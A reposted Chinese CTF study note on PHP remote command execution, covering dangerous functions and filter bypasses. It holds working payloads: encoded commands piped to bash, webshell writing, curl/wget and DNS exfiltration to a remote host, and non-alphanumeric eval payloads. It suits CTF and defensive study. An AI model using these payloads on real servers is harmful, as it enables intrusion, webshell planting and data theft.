CTF_Web笔记_RCE

news/2024/11/19 17:09:13/文章来源:https://www.cnblogs.com/abigmalon/p/18555196

一、RCE(远程代码执行漏洞)

owasp_top_10中,rce又称为os注入漏洞。
在Web应用开发中为了灵活性、简洁性等会让应用调用代码执行函数或系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞。

二、常见RCE漏洞函数

1.系统命令执行函数

system():能将字符串作为OS命令执行,且返回命令执行结果;exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显);shell_exec():能将字符串作为OS命令执行passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;popen():打开进程文件指针proc_open():与'popen()'类似pcntl_exec():在当前进程空间执行指定程序;反引号``:反引号``内的字符串会被解析为OS命令;

2.代码执行函数

eval():将字符串作为php代码执行;assert():将字符串作为php代码执行;preg_replace():正则匹配替换字符串;create_function():主要创建匿名函数;call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;

三、相关绕过

空格绕过

常见的绕过符号有:

	cat flag.txt${IFS}		cat${IFS}flag.txt$IFS$9		cat$IFS$9flag.txt<		cat<flag.txt<>		cat<>flag.txt{,}		{cat,flag.txt}
命令分隔符
%0a  	#换行符,需要php环境
%0d  	#回车符,需要php环境
;    	#在 shell 中,是”连续指令”
&    	#不管第一条命令成功与否,都会执行第二条命令
&&   	#第一条命令成功,第二条才会执行
|    	#第一条命令的结果,作为第二条命令的输入
||   	#第一条命令失败,第二条才会执行
关键词过滤绕过
  • 拼接绕过
#执行ls命令:			a=l;b=s;$a$b
#cat flag文件内容:		a=c;b=at;c=f;d=lag;$a$b ${c}${d}
#cat test文件内容		a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b test
  • 编码绕过
#base64
echo "Y2F0IC9mbGFn"|base64 -d|bash  ==> cat /flag
echo Y2F0IC9mbGFn|base64 -d|sh      ==> cat /flag#hex
echo "0x636174202f666c6167" | xxd -r -p|bash   ==> cat /flag
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")     ==> cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0    ==> cat /flag#oct/字节
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag

ps:$(){}、反引号 可以用于内联执行

  • 单引号和双引号绕过
c'a't test		cat test
c"a"t test		cat test
  • 反斜杠绕过
    ca\t test

  • 通配符绕过

使用tac、od等指令读取文件可以识别通配符,如tac /fl*

*    #通配多个字符
?    #通配单个字符
[…]  #表示匹配方括号之中的任意一个字符,如tac fl[a-z]g    
{…}  #表示匹配大括号里面的所有模式,模式之间使用逗号分隔,如tac fl{a,b,c,d}g
长度限制绕过

>a
#虽然没有输入但是会创建a这个文件

ls -t
#ls基于基于事件排序(从晚到早)

sh a
#sh会把a里面的每行内容当作命令来执行

|
#管道符用于拼接指令

base64 -d
#使用base64编码避免特殊字符

w>hp
w>1.p\\
w>d\>\\
w>\ -\\
w>e64\\
w>bas\\
w>7\|\\
w>XSk\\
w>Fsx\\
w>dFV\\
w>kX0\\
w>bCg\\
w>XZh\\
w>AgZ\\
w>waH\\
w>PD9\\
w>o\ \\
w>ech\\
ls -t|\
sh等价于=>echo PD9waHAgZXZhbCgkX0dFVFsxXSk7 | base64 -d > 1.php
无回显利用

判断方法:
ls;sleep(3)

利用:

  • 复制,压缩,写shell等方法

copy flag.php flag.txt

mv flag.php flag.txt

cat flag.php > flag.txt

  • 压缩方法
tar cvf flag.tar flag.php #tar压缩tar zcvf flag.tar.gz flag.php  #tar解压zip flag.zip flag.php  #zip压缩unzip flag.zip  #zip解压
  • 写入shell
echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps >webshell.php
#3c3f706870206576616c28245f504f53545b3132335d293b203f3e是<?php eval($_POST[123]); ?>的十六进制编码echo "<?php @eval(\$_POST[123]); ?>" > webshell.php
  • vps读取

在个人vps中写入php文件,内容如下

<!-- record.php -->
<?php
$data =$_GET['data'];
$f = fopen("flag.txt", "w");
fwrite($f,$data);
fclose($f);
?>

payload

curl http://*.*.*.**/record.php?data=`cat flag.php|base64`
wget http://*.*.*.*/record.php?data=`cat flag.php|base64`
  • DNS请求

使用dnslog获取日志url,payload
curl whoami.48hw0o.ceye.io

  • linux tee命令

Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。

tee file1 file2 //复制文件
ls /|tee 1.txt //命令输出
无字母、数字getshell---if(!preg_match("/[a-za-z0-9]+/is",$a))
  • 取反绕过(url编码后取反)

生成(利用php函数):

<?phpecho urlencode(~'phpinfo');
?>

payload

?code=(~(%8F%97%8F%96%91%99%90))();
//?code=phpinfo();?code=(~(%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C))(~(%CB%D1%8F%97%8F),~(%C3%C0%8F%97%8F%DF%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4));
//file_put_contents('4.php','<?php eval(\$_POST[1]);');

结果如下:
image

  • 异或绕过

构造python脚本生成异或payload

点击查看代码
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
​
answer = str(input("请输入进行异或构造的字符串:"))
​
tmp1, tmp2 = '', ''
for c in answer:for i in valid:for j in valid:if (ord(i) ^ ord(j) == ord(c)):tmp1 += itmp2 += jbreakelse:continuebreak
print("tmp1为:",tmp1)
print("tmp2为:",tmp2)

使用php代码进行验证

var_dump('tmp1'^'tmp2')
var_dump('#'^'|'); 	//得到字符 _
var_dump('.'^'~'); 	//得到字符 P
var_dump('/'^'`'); 	//得到字符 0
var_dump('|'^'/'); 	//得到字符 S
var_dump('{'^'/'); 	//得到字符 T
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");  //变量$__值为字符串'_POST'

值得注意的是,因为这里面一般是包含了特殊字符,所以需要再进行一次url编码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/836881.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

上门家政系统功能解析案例实战演练

上门家政 APP 平台的问世,在极大程度上化解了大众家庭中不愿做家务的难题,这让众多创业者从中看到了新的创业方向。他们觉得上门家政 APP 平台竞争小,易于复制,属于轻资产创业模式,经济负担不大,并且上线速度快,能够迅速抢占市场。上门家政 APP 平台主要涵盖用户端、家政…

DNS解析智能线路有何优势?

在当今数字化的网络环境中,DNS(域名系统)解析智能线路正逐渐成为提升网络性能和用户体验的关键技术。它具有诸多显著优势,深刻地影响着网络数据的传输和处理。 1、智能线路优化了网络访问速度 传统的DNS解析可能会将用户请求指向距离较远或网络拥塞路径上的服务器,导致数据…

MySQL 性能定位

一、SQL性能分析1.SQL执行频率MySQL 客户端连接成功后,通过 show [session|global] status 命令可以提供服务器状态信息。通过如下指令,可以查看当前数据库的 INSERT 、 UPDATE 、 DELETE 、 SELECT 的访问频次: -- session 是查看当前会话 ; -- global 是查询全局数…

Mit6.S081笔记Lab10: mmap 文件内存映射

课程地址:https://pdos.csail.mit.edu/6.S081/2020/schedule.html Lab 地址:https://pdos.csail.mit.edu/6.S081/2020/labs/mmap.html 我的代码地址:https://github.com/Amroning/MIT6.S081/tree/mmap xv6手册:https://pdos.csail.mit.edu/6.S081/2020/xv6/book-riscv-rev1…

.net 非阻塞的异步编程 及 线程调度过程

本文主要分为三个部分: 1、语法格式 2、线程调度情况 3、编程注意事项 * 阅读提示 :鼠标悬停在 章节标题 上可见 文章目录异步编程(Task Asynchronous Programming,TAP),一种编程模式(Task-based Asynchronous Pattern)。 TAP 是 .NET 中推荐的异步编程模式,基于 Task…

微软Office 2021 24年11月授权版

概述 Microsoft Office LTSC 2021 专业增强版是微软公司推出的一款专为企业客户设计的办公软件套件。该版本于2024年11月进行了批量许可版更新推送,旨在为企业用户提供更加稳定、高效的办公体验。主要特点LOGO设计趋势强化:新版Office将棱角改为圆角风格,提高了企业的辨识度…

OpenStack制作镜像

Ubuntu镜像的制作采用的是IOS 安装 转qcow2 上传OpenStack使用。 1.环境介绍 主机:Ubuntu 22.04 工具:QEMU+KVM 镜像类型:Ubuntu 22.04 工具:VNC-Client、系统镜像ISO或者IMG格式等,这里使用:ubuntu-22.04.5-live-server-amd64.iso2. 环境准备 root@node3:~/t# cat /proc…

ReNamer Pro 7.5 中文绿色便携专业版-文件重命名工具

前言 我们日常生活和工作中所涉及的文件数量日益增多。无论是图片、音频、视频还是各种文档,这些文件在存储、管理和分享时,都需要有一个清晰、有序的文件命名规则。然而,手动重命名大量文件不仅耗时耗力,而且容易出错,这对于追求效率和准确性的现代生活来说显然是不现实的…

接口测试之fiddler

二、Fiddler 简介 fiddler 是 C# 开发免费web调试工具之一,记录所有客户端和服务端常见的 http 以及 https 请求,可监视设断点,甚至修改输入输出数据,它还包含了一个强大的基于事件脚本的子系统,并且能使用 .net 语言来拓展。 Fiddler也是一款专用的抓包工具,也是一个调试…

DHCP介绍与实现方法

简介:动态主机配置协议(Dynamic Host Configuration Protocol,缩写:DHCP)是 RFC 1541(已被 RFC 2131 取代)定义的标准协议,该协议允许服务器向客户端动态分配 IP 地址和配置信息。 工作原理: DHCP协议支持C/S(客户端/服务器)结构,主要分为两部分: 1、DHCP客户端:…

推荐一个好用的 REST API 测试工具 Apifox

大家好啊!今天给大家安利一个超级好用的 REST API 测试工具 —— Apifox。说实话,作为一个经常和 API 打交道的开发者,以前总是被各种 API 测试和管理的问题困扰。直到遇到了 Apifox,才发现原来 API 测试可以这么舒服! Apifox 是啥? 简单来说,Apifox 就是一个"一站…

Qwen2.5-0.5B-Instruct搭建

模型地址 https://huggingface.co/Qwen/Qwen2.5-0.5B-Instruct简介 通义千问新一代开源模型Qwen2.5,旗舰模型Qwen2.5-72B性能超越Llama 405B,再登全球开源大模型王座。Qwen2.5全系列涵盖多个尺寸的大语言模型、多模态模型、数学模型和代码模型,每个尺寸都有基础版本、指令跟…